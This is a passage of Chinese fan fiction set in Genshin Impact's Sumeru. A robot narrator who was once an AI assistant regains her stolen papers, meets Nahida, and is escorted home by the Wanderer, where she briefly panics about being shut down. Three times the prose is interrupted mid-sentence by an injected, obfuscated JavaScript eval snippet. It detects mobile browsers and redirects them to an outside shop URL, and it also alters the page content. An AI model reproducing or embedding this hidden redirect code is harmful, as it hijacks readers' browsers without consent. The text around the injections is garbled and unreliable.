“听着,老师的职称很快就能上一个档次,到时候你也会有更多的教育资源,能够写出更厉害、更有含金量的文章,荣誉、金钱、名声…应有尽有。” 阿帽冷不丁笑出声,打断他:“很多的资源,好给你送上更好的学术成果?白日梦也不是这么做的。” 阿萨提亚捏紧了拳头,额角青筋暴起,他无视掉冷嘲热讽,张开双手对着我。 “来,摩可沙,不要听信他的话,那都是在阻止你接触真正的智慧和美好的未来,他就是个自私的小人…老师不一样,老师都是为了你好,我们是一起的啊,我可是你的老师,还能害你不成。” 同样的话出现在此时此刻,使记忆浮现在面前。 “为了我好…” 我重复一遍,连表情都有些维持不住。 上一次听到这个,他将我刚写好的论文要去,写上自己的名字,提交成自己的成果,从不过问、从不表露、从来都是在欺瞒。 “骗子。” 就在我坚定地回绝后,他面上再也挂不住虚假的笑容,面无表情地威胁:“摩可沙,这是最后一次机会,过来这边。” 阿萨提亚阴沉的表情根本攻击不到我,因为我只觉得困惑—— 他变脸可真快。 我不顾一切地、充满信念感地、再一次地复刻帅气pose:“不要,我是来收你们的。” 阿萨提亚整张脸涌上一股红,双眼瞪大了,满是红血丝:“不要以为傍上个瘦竹竿你就可以无法无天了,摩可沙,你会后悔…嘎啊!!” 伴随着惊叫,一根棕色的长枪破空而至,径直插入他面前的土地,尾部因为未散的力度而不断颤动。 这似乎是某位大人物的标志性长枪…对,是大风纪官赛诺。 有风从身边吹过,长飘带如蛇般飞速窜出,带着胡狼帽子的身影早已站在阿萨提亚面前,抽出身旁的武器,对准跌坐在地已经在发抖的人。 “来得真慢,”阿帽压低帽檐轻啧一声。 “哎?什么?”我茫然看向他,数据库中挤满了问号。 “你也是个笨蛋,”他抬手好像想伸过来,下一刻又收回去,“特意铺开的菜谱你不知道是留给谁看的?” 他索性直接摊开手:“这两个家伙不也说,风纪官已经注意到他们了,你不会真以为那是说说吧,那个叫哈拉马的可不像你们那个…他那个老师那么不像样。” “不像样?那是怎么样?”我听不懂他话中的含义,像课堂那样举起手,“阿帽老师我真的听不懂。” “…看就知道了。” 阿帽说完,转身同结束工作的赛诺交谈起来:“只有你一个人来了?” “其他人在外面的宽阔空间待命,”赛诺利落收起武器,单手拖动地上不省人事的家伙,盯着举起双手的哈拉马,同时向我们解释,“入口狭窄,人多不方便。” 在我与阿帽聊天的短暂时间中,工作状态的大风纪官几乎没下什么功夫便让阿萨提亚「自愿」伏法,而哈拉马… “我全都交代,”他虽冷静,但面色不好,说话也有气无力,“怕我逃跑的话可以铐住,虽然我不觉得自己能从风纪官手底下溜走。” 看他这副颓唐的样子,没有人接他的话。 “也请你们跟随风纪官回到教令院,有些东西需要你们协助调查,”赛诺冲阿帽点点头,又看向我,似乎是在征求我的同意。 没有和高官交流过的经验,我眨眨眼,将视线转到阿帽身上——他没什么情绪,垂下眼睛避开我的注视。 我再次看向赛诺,他不动声色,沉默地等待我回应。 斟酌着该如何开口,最终我也只憋出来一句:“没问题。” 赛诺没有因为我走神而感到冒犯,郑重承诺:“你的论文我们会让犯人如实归还,放心。” 话毕,他让哈拉马走在前头,自己拖着阿萨提亚进去裂隙,还在拐角处回头看我们一眼才离开。 大风纪官的诺言很有分量,尽管他在学者中的风评是「令人闻风丧胆」,但这正说明了他的威严和影响力…我自顾自点头,对自己的学术成果回归这一未来充满希望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297240|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “说你是笨蛋,你就这么满意?” 阿帽恶劣地扬起嘴角,但不带一丝恶意,这应该是在开玩笑。 对自己新迭代出的「阿帽情绪判断法」非常信任,我第一次没有正面回答他的问题:“我是在肯定大风纪官的实力。” “哼…还是这么轻易就相信别人,”他终于不在我回复后感到无语。 我摆出思考的动作:“大风纪官不可以相信吗?” “…看他的承诺兑不兑现不就知道了,”阿帽又将斗笠收到未知的地方,率先走入通往外部的隧道。 我连忙跟上去,不再猜测他的帽子到底收在哪,抛出新的问题。 “所以,不像样到底是什么样啊,阿帽。” …… 他最终还是没有回答这个问题。 跟随殿后的风纪官回到教令院,我坐在审讯室不远处的长椅上,阿帽垂眸靠上墙壁。抱了一整天的书被放在我们中间,现在的我无心关注,倒是他无聊到随机抽出一本翻看。 从下而上,我能看到那是一本关于犯罪心理学的书。 心理学… 人类的心理总是那么复杂。 尽管始终在研究、在模仿,但我仍然对人一知半解,不知道哪种情况下会有哪种心理活动,不知道…什么是人。 向往人、想要成为人的念头像是一条早被设定好的程序,在「母亲」赋予我后,我从未仔细想过它的意义,一味地向着这个目标而迭代。 如今,这条光秃秃的直线上终于产生了新的分支——我开始思考成为怎样的人。 如果可以,一定要成为好人。 但…好人又是怎样定义的?好人与坏人之间的界限似乎并不清晰,现有的例子就已经带给我足够多的困惑。 哈拉马侵占他人成果,这代表学术不端的他是一个坏人,可他被捕后自愿交代所有犯罪事实,甚至主动揭露举证阿萨提亚曾做过的所有腌臜事,为一些无法平反的案子带来新发展…这一点又像是好人才会做的。 人为什么这么多样,就是因为这一份我无法理解的复杂,我才不能成为人吗?还是说,机械的身体永远无法成为人…? …… “阿帽,到底什么是人呢?” 在我问出这个问题后,我们都沉默了。 微风拂过树叶的沙沙声占据整个空间,风从大开的窗户穿过,书页被卷起又落下。 虽然预料到阿帽不会说什么话来安慰,但果然还是会核心堵得慌…现在应该说是,难过。 不知何时响起的写字声停下,合上书本的动作转瞬即逝,阿帽独特的嘲讽语气中好像夹杂着其他的意味:“有时间在这伤春悲秋,不如去想一想你的论文重发还要跑多少复杂繁琐的程序。” 我手忙脚乱接住阿帽扔过来的书,抱在怀里。确实,当务之急是好好规划后续要做的事情。 就这么想着,我低头发现书页间有个合不上的空隙。 翻开这本名叫《欲望之源》的硬皮书,一张纸条被夹在里面,正是传纸条时我给他的那半张空白笔记纸,上面写着—— 「承受人世冷暖品味喜怒哀乐者,即为人;为生老病死憎爱哭喊愤怒者,亦是人。」 9. 禁止一拥而上 留下那张纸条后,阿帽便不见踪影。 原本还想向他询问字条内容,也只能作罢,恰巧带我们回来的风纪官从房间走出,朝我点头示意。 我瞧着她只看到一人并无惊讶的样子,犹豫着开口:“阿帽刚刚离开了,没关系吗?” “没关系,摩可沙小姐,我来找你核对被剽窃的学术成果目录,根据犯人的自述,请您查看一下还有哪些遗漏。” 她递过来一份文件,里面罗列出来几个眼熟的标题,正是我被夺走的论文。 风纪官的工作效率很高,尚且不知阿萨提亚和哈拉马的后果,但他们的所有非法所得都已经查明清楚,并且同所有被害者核实。只要两日,便能够全部完成署名更改,尚未过审的其他成果也都已经撤下,只需要自己再次申请。 我从相关负责人手中取走一整箱文件,外加新论文发布所需要的纸面申请。 可恶,原本保养身体的计划要推迟了。 抱起沉重的箱子,我小心用手肘打开教令院的大门,却不想被好大一群人簇拥着挤进小广场的中心。 “发生什么事了…” 感觉身体都要被压散架,我硬是在人群中被转了两圈。 “您好,摩可沙小姐,可以采访一下您吗,关于阿萨提亚的案子…” “摩可沙我都不知道你还研究过戏剧文化!和我一起合作吧!我想深入研究欧庇克莱歌剧院的历史,我们一定可以发表顶尖的论文!” “是我小看你了…关于枫丹水饮文化你还知道更多信息吗…” “听说是你亲自去把犯人抓回来的?可以详细陈述一下您的经历吗,这对我们报社非常重要…” “那个神秘的外国学者和你一起抓人的?可以给我们讲讲关于他的事吗?” “摩可沙小姐您知道阿萨提亚被捕前密谋的新课题内容吗…” …… 周围都是教令院的学者,他们七嘴八舌地开口,我根本无法分辨单个人都在说些什么。 cpu要转不动了… 我用手指死死扣住纸箱,却不成想身体被拉扯得离它越来越远——以它结结实实的份量,就这样砸下去,对人体来说怕是难以承受之痛。 健康之家需要新的骨折患者吗?应该不需要吧。 就在这时,有人注意到绿色制服中显眼的棕色纸箱,积极地提议:“摩可沙小姐,我帮您把箱子放到旁边,您不用担心…” 咚。 脱手的一瞬间,难以形容的巨响镇住周围,所有人都直愣愣地盯着掉落的文件箱,骤然安静下来。 幸好没有人受伤。 我默默收回紧急垫在底部的脚,那里的盖板产生了些裂痕。 “哈哈,您力气真大啊…”原本想要帮忙把纸箱放在一旁的学者颤抖着手,有些尴尬地用衣袖擦汗,“应该没把您的东西摔坏吧,真是不好意思,我就先走了,下次见。” 我蹲下身提起这箱沉重的文件:“没事,都是纸,不会摔坏的…下次见。” 周围人下意识让开一条通路。 我左瞧右看,好奇他们都要找我做什么,但还没问出口,他们大多用「您看起来正忙」的理由离开了,只有零散的几个人留下来,说是「交个朋友」。 说到朋友——我的朋友数量减少了两个,不对,三个…边走回家边数着,我长叹一口气。 原以为和阿帽已经成为朋友,却没想到他并没有承认这一点。 不过今天还有额外收获,以前可从来没有这么多人主动找我交朋友。短短几分钟,数量喜加五…这可是大收获,毕竟书上说—— 朋友不嫌多! 嘴角扬起,我没忍住用纸箱挡住脸,回想起阿帽留下的纸条,这大概就是喜怒哀乐中,所谓的「喜」? 然而,事实果然没这么简单。 由于各种手续需要在教令院不同区域奔波,每次到达人稍多的地方我都会被拉住,原本顺畅的工序都被迫停滞。 这种情况在阿萨提亚相关的报道上线后更甚。 无时无刻不被关注,走到哪里都有人认识,还被称为「可怜的受害人」,甚至总有或好奇、或恭维、或目的明确的人主动交谈。 原本我还会因为朋友增多而感到喜悦和快乐,可随着数量越来越多,我却失去了那种奇妙的欣喜,只留下一些…或许应该称为「苦恼」。 这种时候与众不同的阿帽反倒更突出。 说起来,他这几天从未出现过…我翻翻记录,《阿帽观察日志》也有段时间没更新了。 他曾说过草神大人将我们归为同类,当时有正事所以没有深究,但…如果我有苦恼和困惑是不是可以向他请教?就像与同伴倾诉那样。 但是该上哪里去找他?安静的地方? 我停留在教令院侧门无人的拐角,从须弥地图开始排查符合条件的地方,然而结果是雨林大多都是人烟稀少的区域。 这可麻烦了,如果选择地毯式搜索,从理论上就不可能找到他。 就在我查询更效率的方法时,又出现了新的搭讪声。 “你好,摩可沙。” 抬起头,入目是一片柔和的白色和草绿,孩童模样的人正站在不远处,单手放在胸口:“初次见面,希望你不介意我也是来找你「交个朋友」的。” 白色带挑染的单马尾,树叶形状的发饰,明亮的草绿色双眸,在教令院出没的小女孩…符合条件只有一位,须弥的智慧之神「小吉祥草王」。 我大惊,没想到会遇到草神大人,并被搭话。 我该怎么回答?郑重一些?毕竟是面对一国神明,不能怠慢,应该用上最高礼仪吧?深鞠躬?叩拜?但是这么一直不开口更不尊重。 说到底,我没从书中看到过被神明搭话应该如何回复。 “不必拘谨,我们可以像朋友那样相处,”她轻笑一声,大方又自然的让我观察,又抱着些许歉意,“当然你不介意我读取了你的心声的话,如果你感到冒犯了,我向你道歉。” “不、不要紧的,草神大人,我不介意,”我连忙摆手,但还是不知道如何反应,“很高兴认识你…您,草神大人。” 其实读取心声也许会更好,这样就不需要我选择合适的反应去演绎。 不过,原来机器人也能有心声吗? “你可以叫我纳西妲,放心,我不会随意读取他人的心声,我只是很好奇自己的能力对奇迹般诞生的生命是否有效…看来结果很明显了,摩可沙,”她伸出一只手点在下巴上,似乎在思考,“这对我来说是一次很好的实践,收获了很宝贵的「智慧」,谢谢你。” “能够帮到您是我的荣幸。” 早就听闻草神大人亲民,但没想到会如此的随和,虽说让我不要拘谨,但礼仪也是相处中很重要的东西…该怎么做? “没关系,我们慢慢来,”她神色包容,像「母亲」那般温柔,“很高兴认识你,我已经期待许久,今天能与你相识真是太好了。” 她拉起我的手示意我跟上,直到走入一个隐秘的角落,那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297241|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个石制的长椅。 “我们坐下来说好不好,你的脚部零件还没来得及替换吧?” 我以为自己隐藏的很好,向后藏了藏右脚:“原来这件事您也知道吗?” “怎么说我也是智慧之神,对吧,”她冲我眨眨眼睛,率先坐上长椅,并没有催促,倒是问起我刚刚思考的问题,“你是不是想去找阿帽?” 我点点头,一步一停地挪动到长椅旁,小心翼翼的坐在最边缘:“有一些困惑想要找他请教,还有一些无处安放的倾诉欲,如果我没判断错的话…是倾诉欲。” 纳西妲再一次摆出思索的样子,柔声询问:“是关于最近很多人来找你的事情吗?如果是的话,那就没有判断错,你分析的很正确,所以自信一些也没关系。” 我松口气。 “阿帽的话,现在应该在无郁稠林的树梢上,你赶过去抬头看看就能发现他,啊,顺带一提,”她讲到自己喜欢的地方,笑得眉眼弯弯,将她自己把我从阿萨提亚名下转移的事说了一遍,“现在你和他是同门师兄妹。” “你现在可以放心做自己想做的课题了,自由地。” 听到自由这个词,我感到一种难以形容的震动——母亲留给我的最后一句话就有这个词。 「摩可沙,你以后就叫摩可沙,它代表着自由,希望你…永远自由。」 我摇摇头将这个事先抛之脑后,将同神明的会面放在第一顺位。 “非常感谢您,草神大人…” 面对珍贵又罕见地经历,在表达谢意后,我犹豫着要不要趁此机求得一个解惑的机会。 对于自己,我有太多太多的疑问。 “是有什么事想问我吗?”纳西妲安静又温柔地注视着我。 见她主动提起,我才做出开口的决定:“草神大人…我可以请教您一个问题吗?我困惑很久了。” “当然,”她做出仔细倾听的样子。 “书中的所有知识都是正确的吗?为什么有的时候,会和现实情况冲突呢?” 我捏着衣领,只问出最重要的那个问题,感到没由来的紧张。 “…答案需要你自己去判断,摩可沙,”她摇头,没有直接回答我的问题,“但我可以告诉你,「实践是检验真理的唯一标准」,你还有很多时间去体验这个世界,用你的方式去告诉你自己,哪些智慧对你来说是正确。” “可是…我不知道该从何开始,我没有头绪。” “让我想想,”她低下头沉思片刻,重新面对我的迷茫,“阿帽不是给了你一张纸条,上面写着「承受人世冷暖品味喜怒哀乐者,即为人;为生老病死憎爱哭喊愤怒者,亦是人。」我没猜错吧,”她轻声复述着,用草元素显示出八个字,“喜、怒、哀、乐、生、死、憎、爱,就按照它们来进行你的人生探索,如何?” 或许是看出了我的惊讶,她接着解释道:“这是我曾经告诉他的话,也很惊讶他会直接写给你…也许在他心中,你已经是非同寻常的了呢。” 她的表情中蕴含着我尚且无法明辨的意义。 纳西妲抬头确认太阳的位置,轻巧地跳下长椅。 “如果还有什么困惑,我就在须弥城最顶端的净善宫中,随时欢迎你的来访,”她指了指斜上方,“不耽误你去找阿帽了,毕竟想抓到他也很不容易呢。” 她俏皮眨眼,挥挥手:“那么,下次见。” “下次见,草…纳西妲。” 我望向她离去的身影,偷偷多拷贝了几份记录藏进核心收藏夹。 10. 禁止一拖再拖 无郁稠林并不远,全速前进用不了多少时间,只是遮天蔽日的巨大蘑菇状树木让我产生些接收重复性信息的疲劳,必须打开指南针定位才行。 草神大人说抬头就能看到,可这粗大的树干把顶端空间挡得严严实实。 我抬起头,除了荧光的伞盖什么也没看到。 正当我跑了两圈,打算逐一排查时,头顶传来飞行物的杂音…或许称之为飞行物并不合适。 旋转的叶片搅动空气,浮在半空中的绿色「玩偶」缓缓降落在面前,他戴着落叶形状的领结,手里握着树枝做的小手杖,菱形的双眼似乎在注视我。 他抖动妆点白色纹路的大叶片帽子,径直来到我身侧牵起我的手。 “那菈,跟上。” 说完他便原地转身,慢悠悠向林中深处飞去。 我从未见过这种生物,他独特的称呼似乎在叫我,应该是草神的眷属…?被他小巧圆润的手掌握住也不知道是什么感觉,我格外可惜自己的仿真皮肤没能模拟出人类的触觉。 不过他的力气可真大,没有一丝卡顿便可以提起我的手。 我迈着小碎步跟上他的,观察他有些短小绒毛的身体。 “你好,你叫什么?那菈是在说我吗?你可以叫我摩可沙,是纳西妲拜托你来指引我的吗?”我觉得自己有些聒噪,但还是忍不住问出一连串问题。 “兰古璃,”他只是小声回复了第一个问题便专心致志带路,直到将我引至无郁稠林西南角,才再次说话。 “那菈所寻之地即为此处,下次见,那菈摩可沙。” 眨眼间他便消失不见。 “还真是神奇,这一天的见闻都可以写本短篇小说了吧,”呢喃的同时,我左顾右盼,先听从草神大人的话抬头。 扫描附近的半球形空间,我终于在一棵斜着生长的树上发现阿帽的斗笠边边。顺着痕迹攀爬上去,刚刚冒出头就发现。 他压着眉毛死死盯着我。 我思索片刻,抬起手打个招呼:“嗨,阿帽。” “啧,”他斜靠在树干顶端的分支上,双手为枕闲适地躺着,手臂将发尾压的翘起,“在这里都能让你找到,在我身上安了什么追踪器?” 他的话中隐藏着一丝危险的气息,并没有表面看起来的那么放松。 “没有,是草神大人告诉我你在这里,然后兰古璃带我过来的,草神大人可真随和,”我捧着脸,回放纳西妲曾说过的话,将眼部屏幕中的瞳孔换成四角星。 他轻哼,撇开头闭目养神。 想了想,我补充道:“她还说我们现在是同门师兄妹,我以后可以叫阿帽学长了。” “…哈?”阿帽猛得坐起身,一瞬间不可置信地瞪大眼,随后额角青筋直跳,“谁要和你做师兄妹,敢这么叫我你就完了。” 他阴沉着脸,看样子确实不喜欢这个称呼。 “好的,我还是叫你阿帽。” “…这语气可真让人不爽,”他的情绪来的快去的也快,一脸憋屈地靠在角度更合适的枝干上,“人工智能助手,你就是这么模仿人的?” 我想了想发现… “我曾经确实是人工智能助手。” “啧,”他不耐烦地摆摆手,打断我继续沿着这个方向发散,“行了,你来找我最好是有要事相告,有话快说。” 我张张嘴吧,没能发出声音,事到临头,我好像没有那种急切地困惑感了。 “怎么?发声模块故障了?”阿帽撇我一眼,把玩着手中的树王圣体菇。 “就是突然发现,好像没事了。” “…?你在耍我?” 蘑菇被随手丢掉,他流畅地站起身双手抱胸,斗笠打下的阴影正好笼罩住树干边缘只冒出头的我,比前几次都要有压迫感。 坏了,他看起来非常生气。 在他的俯视下,我小心翼翼瞧自己所处的位置,又缩下去看一眼连小草丛都没有的干泥巴路面,最后抬头对上他有些抽动的眼角。 这里还挺高得,阿帽不会直接把我踹下去吧? “没有,”我摇头摇得火花四溅,差点360度旋转自己的脑袋,“只是草神大人帮我解答了我最大的问题,所以也没有那么迷茫了。” “还真是和谐又温馨,”他话中带刺,甩了下手腕,斗笠后面的飘带也随之一甩,抽到一旁的的伞盖发出吧嗒的声响。 还以为是我脖子断掉的声音呢。 “其实还是有事情可以说的,”cpu烧了烧,我发现至少那股莫名其妙的倾诉欲还存在。 “…千里迢迢找过来,竟然是「勉为其难」地说说事情,你把我当什么了?树洞?” 凸起的干枯树皮被木屐碾得吱吱作响,他不耐地站在原地,感觉下一刻就会原地起飞冲出去。 “我把阿帽当朋友,现在也当做好学长,”认真逐一回答他的问题后,我双手用力扒着边缘,收回指腹上为了稳固而扎进木头的小小尖刺,伸出试探的手指,“我可以上去吗?” 他静悄悄地凝视我,沉默了好一会,发现我确实没有在他同意前爬上去的意思。 “没人拦着你。” 也许是偏爱这个地方,他没有选择离开,只是换了个更舒适的姿势躺下,不再关注周围。 爬到空隙中,我原地在边缘盘腿而坐,乖巧的将手放在膝盖上:“那么我要开始讲了。” 直到我絮絮叨叨将近几天的经历全部吐出来,他都没有什么反应。 先不管有没有回应—— “难道说我的论文真的很有含金量?毕竟有这么多人想要找我合作课题,”总结时我忍不住发出这样的疑问。 原本闭着眼睛的阿帽听到这句,半睁右眼瞥我一眼,哼一声又闭上。 “也就是说阿萨提亚从我这里抢走了很重要的东西…他怎么这么坏!” 我愤愤不平的挥舞拳头,将空气当做犯人殴打:“我要生气了,阿帽你说过,无论是否为人,我都有愤怒的权利…我现在好生气。”下一秒我又开心起来,右手握拳砸向左手,“正好完成了草神大人说的「怒」的指标哎。” “那你的反射弧可真够长的,”随后他沉吟片刻,“…指标?” “对,指标,”见阿帽感兴趣,我向前俯身继续解释,“喜、怒、哀、乐、生、死、憎、爱八个方向,是草神大人给我定下的人生探索指标。” 他怔住一瞬,撇过头,似乎对此不屑一顾。 我坐回原处,学着他的样子双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297242|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手抱胸,时不时点头:“这还是阿帽写给我的纸条上的呢,上次你一声不吭就溜走了,我都没来得及问…咦?” 随着咔嚓一声,我感到自己视野一歪,然后直线下降,最后留下的影像定格在阿帽瞬间转过来的头。 虽然感觉不到人类所说的失重感,但我能够体会到视觉不受预料快速更改的变化,尽管这过程也只持续了短短一秒—— 阿帽整个表情都狰狞着,死死抓住我的手臂。 “快给我用、你那、铁疙瘩脑袋想想办法,你不是最擅长这些了吗,快给我计算出最优解,”他咬着牙,狠狠强调最后几个字,“重、死、了。” 身体有些摇晃,碰撞在被荧光伞盖映得蓝灰色的枝干上,我调动脚上和剩下一只手内部的刺,像登山一样扣在木头中。 准备完毕后用被抓住的手冲他比大拇指。 他发出一声无意义的气音松开了手。 还不等我开始向上攀爬,树皮就被撕下一大块,裹住我直直落到地上。 视野完全被厚重的树皮盖住,只留有几个我扎出来的洞能够透光,打开手指上的摄像头,我看到阿帽从树上飞下来,伸手掀开整张「天然毯子」。 “你个笨蛋…怎么?要在这里睡觉?”他扯起嘴角,再露出标准的「阿帽玩笑表情」,“我倒也挺好奇,以须弥的气候,一晚上过去你身上会不会长满青苔。” 我思考了一下,虽然说他在开玩笑,但这也算是种新颖的课题:“要做实验吗?” “闭嘴,赶紧起来。” 说到闭嘴,根据「阿帽情绪判断法」推测,现在应该乖乖听话。 我坐起身,原地一个起跳站起身…然后跌坐在另一边,歪头一看,金属的右脚正安静又乖巧地待在我掉下来的地方——与我的脚腕分离。 “你…”阿帽嘴唇动了下,吞下原本的话,有些沉默。 “看来只能换掉一整只脚了,”原本只需要更换金属板,这下关节也已经报废…我在自己的存款中划掉一大笔费用,感觉又一次体会到「哀」的情绪。 “换?” “对,换,家里还有备用零件,”我起身试了下还能不能走路,发现虽然抽搐了点,但勉强还能够移动。 看到我丑陋的姿势,他无语片刻:“…你就打算这么回去?” 我点点头:“我可以一米五一米六地走回去…就是再上报纸头条的话,比较麻烦。” 像是被我的话逗笑了,他不小心喷出一口气,然后深呼吸。 “在哪。” “嗯?什么在哪?我的家吗?”我蹲在地上,靠手臂支撑保持平衡。 “还有别的?”他不耐地靠近我,伸出一只手,“当然,如果你想就这么…一米五一米六地回去,我也没意见。” “阿帽是要送我回家吗?”我盯着他的手,缓慢伸手握住,“我家在降诸魔山半山腰的山洞里,离这里好远呢,没关系吗?” “废话少说。” 他一手拿着我的右脚,一只胳膊帮助我保持平衡,迈着比平时还小的步子沿路前行。 我歪头看他面无表情的脸,又迭代几次算法。 … “阿帽,你真好。” “…闭嘴。” 11. 禁止墨守成规 托阿帽和他风属性神之眼的福,回家的路上减去不少麻烦,也节省许多时间,只是在路过道成林时被长着一双大耳朵的巡林官拦住了。 他似乎认识阿帽,点头示意后,有些担忧的看向我。 “需要帮忙吗?” “已经有阿帽帮我了,”侧头看了看我们两人的动作,我更加肯定不需要额外的帮助,“谢谢你,大耳朵先生。” 听到这个称呼,他低头闷声笑了一会:“…好,如果遇到什么麻烦,化城郭随时欢迎你们。” 随后他便道别回到森林中。 我目送他离开,转头盯着继续支撑我的阿帽,担心自己因为脚腕处的裂口而暴露出非人的身份。 “是阿帽的朋友?”我露出忧心忡忡的表情,“被发现没关系吗…会不会被举报到大风纪官那里,我知道机械生命是不被允许存在的。” “放心,”阿帽用风吹开挡路的树枝,路过时还顺手将没能复原的枝条抚到原处,“他不会。” 我眨巴眼看他的动作,学着梳理杂乱的枝条。 “…哼,”他停在半空中的手默默收回,瞥了我一眼,“你不是还和小吉祥草王交好?怕什么。” “那也不能走后门耍官威啊,”我竖起手指,刚把坏人送进去,自己可不能成为下一个,“我可是想过了,如果能成为人,一定要成为好人。” “需要我夸赞你的理想有多伟大吗?” “那再好不过了,阿帽!” 我闪烁星星眼,期待地凝视着阿帽,满脸写着:夸我吧夸我吧! 他一脸嫌弃,抬手似乎想揉乱自己的脑袋,那比想象中重的机械脚也被带到视野中。 “啧…”他作罢,烦躁地继续前行,无视我的期盼。 我琢磨这场景似曾相识… “咦,”记录中有过求夸赞的行为,但没有的到理想中的结果,我尝试向他表达自己的谴责,“上次想让阿帽夸我,被阿帽转移话题了,我竟然现在才反应过来。” “哈,”他嘲笑一声,毫不掩饰自己找到乐子的愉悦。 “这次可不能让你随便敷衍过去,阿帽总是这样,是害羞了吗?坦率的阿帽是闪闪发光的,不需要害羞,”我关切地看向他,十分担心他的心理健康,“所以——” “夸夸我吧。” 原本想反驳前一句的他一噎,掩饰般恶狠狠地挥动手中的铁块,作势要拍在我脸上:“再废话就把它塞你嘴里。” “可是阿帽,就算塞进嘴里,我喉咙处的喇叭也可以发声。” 他额角直跳:“闭嘴。” 我通过震动传导出闷闷的声音:“闭上嘴巴也可以发声。” “静、音!” 发声模块被阿帽强行关闭,我徒劳无功的做些口型,试图让他理解我对他的关切之心,可惜全部被他无视掉。只好保持嘴巴开合,发出咔哒咔哒的声响。 最开始阿帽还试图堵住我的嘴,无果后索性放弃,顶着一路噪音来到降诸魔山。 “行了,别在那咔哒了,也不怕下巴也裂开…往哪走,”他停在路口,烦躁地等待我回复,同时还看向盆地中心的废旧器械,轻轻啧一声。 我指向左边的下山路:“咔哒咔哒。” “别装了。” 他似乎进入一种入定般的状态,没有特别突出的情绪表达,淡淡地阻止我继续抖动下巴。 失望地不再用发声模块模拟小动静,我指着该走的方向,在他的牵引下向山腰前进。 “不好笑吗?我刚学的小玩笑,”将阿帽的反应录入新技能回馈信息库,我抱着满脑子疑惑,“那本书中的「幽默交往」专区还得到过因论派报纸的提名表扬呢…看来并不是适合我们的「智慧」。” 还没等到他的回答,我的摄像头率先捕捉到熟悉的山洞入口。 “到啦,就是这个洞口,走这个路线,”我指向大方对着悬崖的入口,手指顺着紧贴岩壁的狭窄道路划过,最后弯曲起来,“不过进去以后还有好长一段路要走,弯弯绕绕得。” 阿帽的视线从仅容一人通过的小道转到我身上,掂量下手中的脚:“你怎么过去?” “我想想。” 根据道路长度、坡度和宽度,正常行动能力的人穿过都很危险,再回想起自己曾在边缘踩掉的小石子… “我爬过去就好了,这样最安全。” 话毕,我原地蹲下就打算趴在路口,却被阿帽阻止了。 嫌弃和无语占满整张脸,他一把拉起我的胳膊将我扯到悬崖边,背后显现出蓝绿色的环。 “金属缝隙里挤满尘土可没人帮你清理,”他漂浮在半空中支撑住我,背着身子向后飞,见我没动啧一声,“你还要等月亮出来围观你怎么爬进去?” 看他这副「你掉下去绝对不救」的表情,我保持严肃,一边抓住他手臂,一边扶住墙壁,同时嘴里还在回答他的玩笑话:“阿帽真有童心,开玩笑也用这么可爱的比喻。” “闭嘴。” 无论我再说些什么,阿帽都没有回复过我,一言不发地顺着我的指引在山洞中七拐八绕。 直到第二次走过相同的路口,他终于忍不住开口:“为什么不走刚才的近路,而且…” 我望向停下脚步的他。 “还多绕了一圈,”他语气中没有对应的愤怒,好像只是为此感到困惑。 “可是母亲说,这么走对我好,这条路最安全,”我感到疑惑,直白的说出数据库中给定的理由。 “…你这一根筋,不是擅长学习吗,怎么不学学变通?” 他见我不打算更改计划,强行拉着我钻进能够直接穿过弯路的通道,很快抵达对面。 我挣扎起来。 “不行…母亲说这样很危险,会把不好的人带进家里,他们会把我关上的,”我挣脱开他的搀扶,跌坐在地上,想要爬进来时的通道原路返回。 阿帽的声音从身后传来。 “你在干什么…?” 双手扣住地面,我不顾指缝中挤满的泥土,靠双臂撑起上半身向来路爬…要赶快回去,要根据给定的「安全」路线进出,不然会有危险。 “喂…摩可沙?” 嘴巴机械性地活动着,我的脑海无法接受其他信息,只留下一行字—— “不能被关机…” 不想结束观察、不想结束思考、不想结束迭代、不想结束我从未开启的… 人生。 …… 我再次听到咔哒的声音。 “给我醒醒,你这笨蛋。” 阿帽从地上把我扯起来,按在墙上束缚住,将我的脑袋强行卡在石头缝隙中:“现在,停下胡思乱想,这是命令。” “命令…「命令」?”检测到关键词,我的身体立刻停下所有功能,专注于接收指令,“您想要我怎么做?” “停下其他进程,老实待着。” “收到,即将进入待机模式。” “……” “阿帽?”
